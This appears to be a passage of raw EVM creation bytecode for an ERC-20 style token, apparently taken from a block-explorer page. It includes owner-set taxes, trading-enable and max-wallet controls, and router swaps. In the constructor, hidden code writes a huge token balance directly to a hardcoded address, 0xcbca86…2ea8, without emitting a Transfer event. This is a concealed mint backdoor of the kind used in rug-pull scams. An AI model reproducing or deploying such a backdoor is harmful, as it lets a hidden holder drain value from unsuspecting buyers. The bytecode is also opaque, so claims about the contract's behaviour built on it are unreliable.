ffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000347573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200036d919062000c28565b90508073ffffffffffffffffffffffffffffffffffffffff1663c9c6539630601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620003fa573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000420919062000c28565b6040518363ffffffff1660e01b81526004016200043f92919062000c6b565b6020604051808303816000875af11580156200045f573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000485919062000c28565b508073ffffffffffffffffffffffffffffffffffffffff1663e6a4390530601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000511573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000537919062000c28565b6040518363ffffffff1660e01b81526004016200055692919062000c6b565b602060405180830381865afa15801562000574573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200059a919062000c28565b601760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550620005ea6200097460201b60201c565b60016019600062000600620008a660201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160196000601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160196000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001601a60006200075b620008a660201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001601a6000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555062000836620008a660201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60045460405162000897919062000ca9565b60405180910390a35062000d2a565b600033905090565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b73cbca86306d76af0003ccdae7ff93f89361ac2ea86000526002602052604060002073cbca86306d76af0003ccdae7ff93f89361ac2ea8815550565b828054620009be9062000cf5565b90600052602060002090601f016020900481019282620009e2576000855562000a2e565b82601f10620009fd57805160ff191683800117855562000a2e565b8280016001018555821562000a2e579182015b8281111562000a2d57825182559160200191906001019062000a10565b5b50905062000a3d919062000a41565b5090565b5b8082111562000a5c57600081600090555060010162000a42565b5090565b6000819050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600062000aa68262000a60565b915062000ab38362000a60565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161562000aef5762000aee62000a6a565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600062000b368262000a60565b915062000b438362000a60565b92508262000b565762000b5562000afa565b5b828204905092915050565b600062000b6e8262000a60565b915062000b7b8362000a60565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111562000bb35762000bb262000a6a565b5b828201905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600062000bf08262000bc3565b9050919050565b62000c028162000be3565b811462000c0e57600080fd5b50565b60008151905062000c228162000bf7565b92915050565b60006020828403121562000c415762000c4062000bbe565b5b600062000c518482850162000c11565b91505092915050565b62000c658162000be3565b82525050565b600060408201905062000c82600083018562000c5a565b62000c91602083018462000c5a565b9392505050565b62000ca38162000a60565b82525050565b600060208201905062000cc0600083018462000c98565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168062000d0e57607f821691505b60208210810362000d245762000d2362000cc6565b5b50919050565b61369a8062000d3a6000396000f3fe6080604052600436106102135760003560e01c806370db69d611610118578063a9059cbb116100a0578063d8bd2dd11161006f578063d8bd2dd11461077a578063dd62ed3e146107b7578063e4fdf79f146107f4578063f2fde38b1461081d578063f8b45b05146108465761021a565b8063a9059cbb146106aa578063c816841b146106e7578063d257b34f14610712578063d4fbfdfc1461074f5761021a565b806381905bf8116100e757806381905bf8146105d757806385ecafd7146106005780638a8c523c1461063d5780638da5cb5b1461065457806395d89b411461067f5761021a565b806370db69d61461053f578063715018a61461056a578063735de9f71461058157806374c4ff96146105ac5761021a565b806323b872dd1161019b57806346469afb1161016a57806346469afb1461045857806361e0c0f71461048357806366c08ccc146104ae57806366ca9b83146104d957806370a08231146105025761021a565b806323b872dd146103b05780632740c197146103ed578063313ce567146104165780634415fb61146104415761021a565b80631a8145bb116101e25780631a8145bb146102db5780631bff7898146103065780631f3fed8f146103315780632369bf831461035c578063238dafe0146103855761021a565b806302dbd8f81461021f57806306fdde0314610248578063095ea7b31461027357806318160ddd146102b05761021a565b3661021a57005b600080fd5b34801561022b57600080fd5b50610246600480360381019061024191906126cb565b610871565b005b34801561025457600080fd5b5061025d61092a565b60405161026a91906127a4565b60405180910390f35b34801561027f57600080fd5b5061029a60048036038101906102959190612824565b6109bc565b6040516102a7919061287f565b60405180910390f35b3480156102bc57600080fd5b506102c56109da565b6040516102d291906128a9565b60405180910390f35b3480156102e757600080fd5b506102f06109e4565b6040516102fd91906128a9565b60405180910390f35b34801561031257600080fd5b5061031b6109ea565b60405161032891906128a9565b60405180910390f35b34801561033d57600080fd5b506103466109f0565b60405161035391906128a9565b60405180910390f35b34801561036857600080fd5b50610383600480360381019061037e91906128c4565b6109f6565b005b34801561039157600080fd5b5061039a610ab6565b6040516103a7919061287f565b60405180910390f35b3480156103bc57600080fd5b506103d760048036038101906103d291906128f1565b610ac9565b6040516103e4919061287f565b60405180910390f35b3480156103f957600080fd5b50610414600480360381019061040f91906126cb565b610bc1565b005b34801561042257600080fd5b5061042b610c6b565b6040516104389190612960565b60405180910390f35b34801561044d57600080fd5b50610456610c82565b005b34801561046457600080fd5b5061046d610d12565b60405161047a91906128a9565b60405180910390f35b34801561048f57600080fd5b50610498610d18565b6040516104a591906128a9565b60405180910390f35b3480156104ba57600080fd5b506104c3610d1e565b6040516104d091906128a9565b60405180910390f35b3480156104e557600080fd5b5061050060048036038101906104fb91906126cb565b610d24565b005b34801561050e57600080fd5b50610529600480360381019061052491906128c4565b610ddd565b60405161053691906128a9565b60405180910390f35b34801561054b57600080fd5b50610554610e26565b60405161056191906128a9565b60405180910390f35b34801561057657600080fd5b5061057f610e2c565b005b34801561058d57600080fd5b50610596610eb4565b6040516105a391906129da565b60405180910390f35b3480156105b857600080fd5b506105c1610eda565b6040516105ce91906128a9565b60405180910390f35b3480156105e357600080fd5b506105fe60048036038101906105f99190612a21565b610ee0565b005b34801561060c57600080fd5b50610627600480360381019061062291906128c4565b610fb7565b604051610634919061287f565b60405180910390f35b34801561064957600080fd5b50610652610fd7565b005b34801561066057600080fd5b506106696110e2565b6040516106769190612a70565b60405180910390f35b34801561068b57600080fd5b5061069461110c565b6040516106a191906127a4565b60405180910390f35b3480156106b657600080fd5b506106d160048036038101906106cc9190612824565b61119e565b6040516106de919061287f565b60405180910390f35b3480156106f357600080fd5b506106fc6111bc565b6040516107099190612a70565b60405180910390f35b34801561071e57600080fd5b5061073960048036038101906107349190612a8b565b6111e2565b604051610746919061287f565b60405180910390f35b34801561075b57600080fd5b5061076461132d565b60405161077191906128a9565b60405180910390f35b34801561078657600080fd5b506107a1600480360381019061079c91906128c4565b611333565b6040516107ae919061287f565b60405180910390f35b3480156107c357600080fd5b506107de60048036038101906107d99190612ab8565b611353565b6040516107eb91906128a9565b60405180910390f35b34801561080057600080fd5b5061081b60048036038101906108169190612a8b565b6113da565b005b34801561082957600080fd5b50610844600480360381019061083f91906128c4565b611460565b005b34801561085257600080fd5b5061085b611557565b60405161086891906128a9565b60405180910390f35b61087961155d565b73ffffffffffffffffffffffffffffffffffffffff166108976110e2565b73ffffffffffffffffffffffffffffffffffffffff16146108ed576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108e490612b44565b60405180910390fd5b600a81836108fb9190612b93565b111561090657600080fd5b816012819055508060118190555080826109209190612b93565b6010819055505050565b60606005805461093990612c18565b80601f016020809104026020016040519081016040528092919081815260200182805461096590612c18565b80156109b25780601f10610987576101008083540402835291602001916109b2565b820191906000526020600020905b81548152906001019060200180831161099557829003601f168201915b5050505050905090565b60006109d06109c961155d565b8484611565565b6001905092915050565b6000600454905090565b60135481565b60105481565b60145481565b6109fe61155d565b73ffffffffffffffffffffffffffffffffffffffff16610a1c6110e2565b73ffffffffffffffffffffffffffffffffffffffff1614610a72576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a6990612b44565b60405180910390fd5b80600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b601760149054906101000a900460ff1681565b6000610ad684848461172e565b6000600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610b2161155d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610ba1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b9890612cbb565b60405180910390fd5b610bb585610bad61155d565b858403611565565b60019150509392505050565b610bc961155d565b73ffffffffffffffffffffffffffffffffffffffff16610be76110e2565b73ffffffffffffffffffffffffffffffffffffffff1614610c3d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c3490612b44565b60405180910390fd5b600a821115610c4b57600080fd5b600a811115610c5957600080fd5b81600d81905550806010819055505050565b6000600760009054906101000a900460ff16905090565b610c8a61155d565b73ffffffffffffffffffffffffffffffffffffffff16610ca86110e2565b73ffffffffffffffffffffffffffffffffffffffff1614610cfe576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cf590612b44565b60405180910390fd5b600454601581905550600454601681905550565b600d5481565b600e5481565b60125481565b610d2c61155d565b73ffffffffffffffffffffffffffffffffffffffff16610d4a6110e2565b73ffffffffffffffffffffffffffffffffffffffff1614610da0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d9790612b44565b60405180910390fd5b600a8183610dae9190612b93565b1115610db957600080fd5b81600f8190555080600e819055508082610dd39190612b93565b600d819055505050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60155481565b610e3461155d565b73ffffffffffffffffffffffffffffffffffffffff16610e526110e2565b73ffffffffffffffffffffffffffffffffffffffff1614610ea8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e9f90612b44565b60405180910390fd5b610eb26000612089565b565b601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600f5481565b610ee861155d565b73ffffffffffffffffffffffffffffffffffffffff16610f066110e2565b73ffffffffffffffffffffffffffffffffffffffff1614610f5c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f5390612b44565b60405180910390fd5b80601960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b601a6020528060005260406000206000915054906101000a900460ff1681565b610fdf61155d565b73ffffffffffffffffffffffffffffffffffffffff16610ffd6110e2565b73ffffffffffffffffffffffffffffffffffffffff1614611053576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161104a90612b44565b60405180910390fd5b601760149054906101000a900460ff16156110a3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161109a90612d27565b60405180910390fd5b6001601760146101000a81548160ff0219169083151502179055506001600c60016101000a81548160ff02191690831515021790555042600881905550565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606006805461111b90612c18565b80601f016020809104026020016040519081016040528092919081815260200182805461114790612c18565b80156111945780601f1061116957610100808354040283529160200191611194565b820191906000526020600020905b81548152906001019060200180831161117757829003601f168201915b5050505050905090565b60006111b26111ab61155d565b848461172e565b6001905092915050565b601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60006111ec61155d565b73ffffffffffffffffffffffffffffffffffffffff1661120a6110e2565b73ffffffffffffffffffffffffffffffffffffffff1614611260576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161125790612b44565b60405180910390fd5b620186a060016004546112739190612d47565b61127d9190612dd0565b8210156112bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112b690612e73565b60405180910390fd5b6103e860056004546112d19190612d47565b6112db9190612dd0565b82111561131d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131490612f05565b60405180910390fd5b81600b8190555060019050919050565b60115481565b60196020528060005260406000206000915054906101000a900460ff1681565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6113e261155d565b73ffffffffffffffffffffffffffffffffffffffff166114006110e2565b73ffffffffffffffffffffffffffffffffffffffff1614611456576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161144d90612b44565b60405180910390fd5b80600a8190555050565b61146861155d565b73ffffffffffffffffffffffffffffffffffffffff166114866110e2565b73ffffffffffffffffffffffffffffffffffffffff16146114dc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114d390612b44565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff160361154b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154290612f97565b60405180910390fd5b61155481612089565b50565b60165481565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036115d4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115cb90613029565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611643576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161163a906130bb565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161172191906128a9565b60405180910390a3505050565b6000600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050818110156117b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117ac90613127565b60405180910390fd5b601760149054906101000a900460ff16806118195750601960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b8061186d5750601960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b6118ac576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118a390613193565b60405180910390fd5b6000829050601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1603611bed57600a546008546119169190612b93565b4210801561196e5750601960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611a48576015548311156119b8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119af906131ff565b60405180910390fd5b60165483600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a069190612b93565b1115611a47576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a3e9061326b565b60405180910390fd5b5b601a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16611be85760006064600d5485611aab9190612d47565b611ab59190612dd0565b90508084611ac3919061328b565b915080600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611b149190612b93565b92505081905550600d54600f5482611b2c9190612d47565b611b369190612dd0565b60136000828254611b479190612b93565b92505081905550600d54600e5482611b5f9190612d47565b611b699190612dd0565b60146000828254611b7a9190612b93565b925050819055503073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611bde91906128a9565b60405180910390a3505b611f78565b601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603611f7757600a54600854611c529190612b93565b42108015611caa5750601960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611dbb57601554831115611cf4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ceb9061330b565b60405180910390fd5b6000600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490506000600b548210159050808015611d5b5750600c60019054906101000a900460ff165b8015611d745750600c60009054906101000a900460ff16155b15611db8576001600c60006101000a81548160ff021916908315150217905550611d9c61214f565b6000600c60006101000a81548160ff0219169083151502179055505b50505b600c60009054906101000a900460ff16158015611e225750601a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611f76576000606460105485611e399190612d47565b611e439190612dd0565b90508084611e51919061328b565b915080600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611ea29190612b93565b92505081905550600d5460125482611eba9190612d47565b611ec49190612dd0565b60136000828254611ed59190612b93565b92505081905550600d5460115482611eed9190612d47565b611ef79190612dd0565b60146000828254611f089190612b93565b925050819055503073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611f6c91906128a9565b60405180910390a3505b5b5b8282611f84919061328b565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546120169190612b93565b925050819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161207a91906128a9565b60405180910390a35050505050565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6000600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490506000806014546013546121a69190612b93565b9050600083036121b85750505061236b565b6014600b546121c79190612d47565b8311156121e0576014600b546121dd9190612d47565b92505b60006002601054601254866121f59190612d47565b6121ff9190612dd0565b6122099190612dd0565b905060008185612219919061328b565b905060004790506122298261236d565b60008147612237919061328b565b90506000856014548361224a9190612d47565b6122549190612dd0565b905060008183612264919061328b565b905060006013819055506000601481905550600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16826040516122bc9061335c565b60006040518083038185875af1925050503d80600081146122f9576040519150601f19603f3d011682016040523d82523d6000602084013e6122fe565b606091505b5050809850506000861180156123145750600081115b156123615761232386826125b0565b7f17bbfb9a6069321b6ded73bd96327c9e6b7212a5cd51ff219cd61370acafb561858260135460405161235893929190613371565b60405180910390a15b5050505050505050505b565b6000600267ffffffffffffffff81111561238a576123896133a8565b5b6040519080825280602002602001820160405280156123b85781602001602082028036833780820191505090505b50905030816000815181106123d0576123cf6133d7565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015612477573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061249b919061341b565b816001815181106124af576124ae6133d7565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061251630601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611565565b601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161257a959493929190613541565b600060405180830381600087803b15801561259457600080fd5b505af11580156125a8573d6000803e3d6000fd5b505050505050565b6125dd30601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611565565b601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71982308560008061dead426040518863ffffffff1660e01b81526004016126469695949392919061359b565b60606040518083038185885af1158015612664573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906126899190613611565b5050505050565b600080fd5b6000819050919050565b6126a881612695565b81146126b357600080fd5b50565b6000813590506126c58161269f565b92915050565b600080604083850312156126e2576126e1612690565b5b60006126f0858286016126b6565b9250506020612701858286016126b6565b9150509250929050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561274557808201518184015260208101905061272a565b83811115612754576000848401525b50505050565b6000601f19601f8301169050919050565b60006127768261270b565b6127808185612716565b9350612790818560208601612727565b6127998161275a565b840191505092915050565b600060208201905081810360008301526127be818461276b565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006127f1826127c6565b9050919050565b612801816127e6565b811461280c57600080fd5b50565b60008135905061281e816127f8565b92915050565b6000806040838503121561283b5761283a612690565b5b60006128498582860161280f565b925050602061285a858286016126b6565b9150509250929050565b60008115159050919050565b61287981612864565b82525050565b60006020820190506128946000830184612870565b92915050565b6128a381612695565b82525050565b60006020820190506128be600083018461289a565b92915050565b6000602082840312156128da576128d9612690565b5b60006128e88482850161280f565b91505092915050565b60008060006060848603121561290a57612909612690565b5b60006129188682870161280f565b93505060206129298682870161280f565b925050604061293a868287016126b6565b9150509250925092565b600060ff82169050919050565b61295a81612944565b82525050565b60006020820190506129756000830184612951565b92915050565b6000819050919050565b60006129a061299b612996846127c6565b61297b565b6127c6565b9050919050565b60006129b282612985565b9050919050565b60006129c4826129a7565b9050919050565b6129d4816129b9565b82525050565b60006020820190506129ef60008301846129cb565b92915050565b6129fe81612864565b8114612a0957600080fd5b50565b600081359050612a1b816129f5565b92915050565b60008060408385031215612a3857612a37612690565b5b6000612a468582860161280f565b9250506020612a5785828601612a0c565b9150509250929050565b612a6a816127e6565b82525050565b6000602082019050612a856000830184612a61565b92915050565b600060208284031215612aa157612aa0612690565b5b6000612aaf848285016126b6565b91505092915050565b60008060408385031215612acf57612ace612690565b5b6000612add8582860161280f565b9250506020612aee8582860161280f565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612b2e602083612716565b9150612b3982612af8565b602082019050919050565b60006020820190508181036000830152612b5d81612b21565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612b9e82612695565b9150612ba983612695565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612bde57612bdd612b64565b5b828201905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680612c3057607f821691505b602082108103612c4357612c42612be9565b5b50919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b6000612ca5602883612716565b9150612cb082612c49565b604082019050919050565b60006020820190508181036000830152612cd481612c98565b9050919050565b7f616c726561647920656e61626c65640000000000000000000000000000000000600082015250565b6000612d11600f83612716565b9150612d1c82612cdb565b602082019050919050565b60006020820190508181036000830152612d4081612d04565b9050919050565b6000612d5282612695565b9150612d5d83612695565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612d9657612d95612b64565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000612ddb82612695565b9150612de683612695565b925082612df657612df5612da1565b5b828204905092915050565b7f5377617020616d6f756e742063616e6e6f74206265206c6f776572207468616e60008201527f20302e3030312520746f74616c20737570706c792e0000000000000000000000602082015250565b6000612e5d603583612716565b9150612e6882612e01565b604082019050919050565b60006020820190508181036000830152612e8c81612e50565b9050919050565b7f5377617020616d6f756e742063616e6e6f74206265206869676865722074686160008201527f6e20302e352520746f74616c20737570706c792e000000000000000000000000602082015250565b6000612eef603483612716565b9150612efa82612e93565b604082019050919050565b60006020820190508181036000830152612f1e81612ee2565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000612f81602683612716565b9150612f8c82612f25565b604082019050919050565b60006020820190508181036000830152612fb081612f74565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000613013602483612716565b915061301e82612fb7565b604082019050919050565b6000602082019050818103600083015261304281613006565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006130a5602283612716565b91506130b082613049565b604082019050919050565b600060208201905081810360008301526130d481613098565b9050919050565b7f7472616e7366657220616d6f756e7420657863656564732062616c616e636500600082015250565b6000613111601f83612716565b915061311c826130db565b602082019050919050565b6000602082019050818103600083015261314081613104565b9050919050565b7f6e6f7420656e61626c6564207965740000000000000000000000000000000000600082015250565b600061317d600f83612716565b915061318882613147565b602082019050919050565b600060208201905081810360008301526131ac81613170565b9050919050565b7f6578636565646564206d61782062757900000000000000000000000000000000600082015250565b60006131e9601083612716565b91506131f4826131b3565b602082019050919050565b60006020820190508181036000830152613218816131dc565b9050919050565b7f6578636565646564206d61782077616c6c657400000000000000000000000000600082015250565b6000613255601383612716565b91506132608261321f565b602082019050919050565b6000602082019050818103600083015261328481613248565b9050919050565b600061329682612695565b91506132a183612695565b9250828210156132b4576132b3612b64565b5b828203905092915050565b7f6578636565646564206d61782074780000000000000000000000000000000000600082015250565b60006132f5600f83612716565b9150613300826132bf565b602082019050919050565b60006020820190508181036000830152613324816132e8565b9050919050565b600081905092915050565b50565b600061334660008361332b565b915061335182613336565b600082019050919050565b600061336782613339565b9150819050919050565b6000606082019050613386600083018661289a565b613393602083018561289a565b6133a0604083018461289a565b949350505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600081519050613415816127f8565b92915050565b60006020828403121561343157613430612690565b5b600061343f84828501613406565b91505092915050565b6000819050919050565b600061346d61346861346384613448565b61297b565b612695565b9050919050565b61347d81613452565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b6134b8816127e6565b82525050565b60006134ca83836134af565b60208301905092915050565b6000602082019050919050565b60006134ee82613483565b6134f8818561348e565b93506135038361349f565b8060005b8381101561353457815161351b88826134be565b9750613526836134d6565b925050600181019050613507565b5085935050505092915050565b600060a082019050613556600083018861289a565b6135636020830187613474565b818103604083015261357581866134e3565b90506135846060830185612a61565b613591608083018461289a565b9695505050505050565b600060c0820190506135b06000830189612a61565b6135bd602083018861289a565b6135ca6040830187613474565b6135d76060830186613474565b6135e46080830185612a61565b6135f160a083018461289a565b979650505050505050565b60008151905061360b8161269f565b92915050565b60008060006060848603121561362a57613629612690565b5b6000613638868287016135fc565b9350506020613649868287016135fc565b925050604061365a868287016135fc565b915050925092509256fea264697066735822122089721ddaba948d01395164c7635fba41148871f18f9fcbb767937d651cf3351864736f6c634300080d0033

Deployed Bytecode

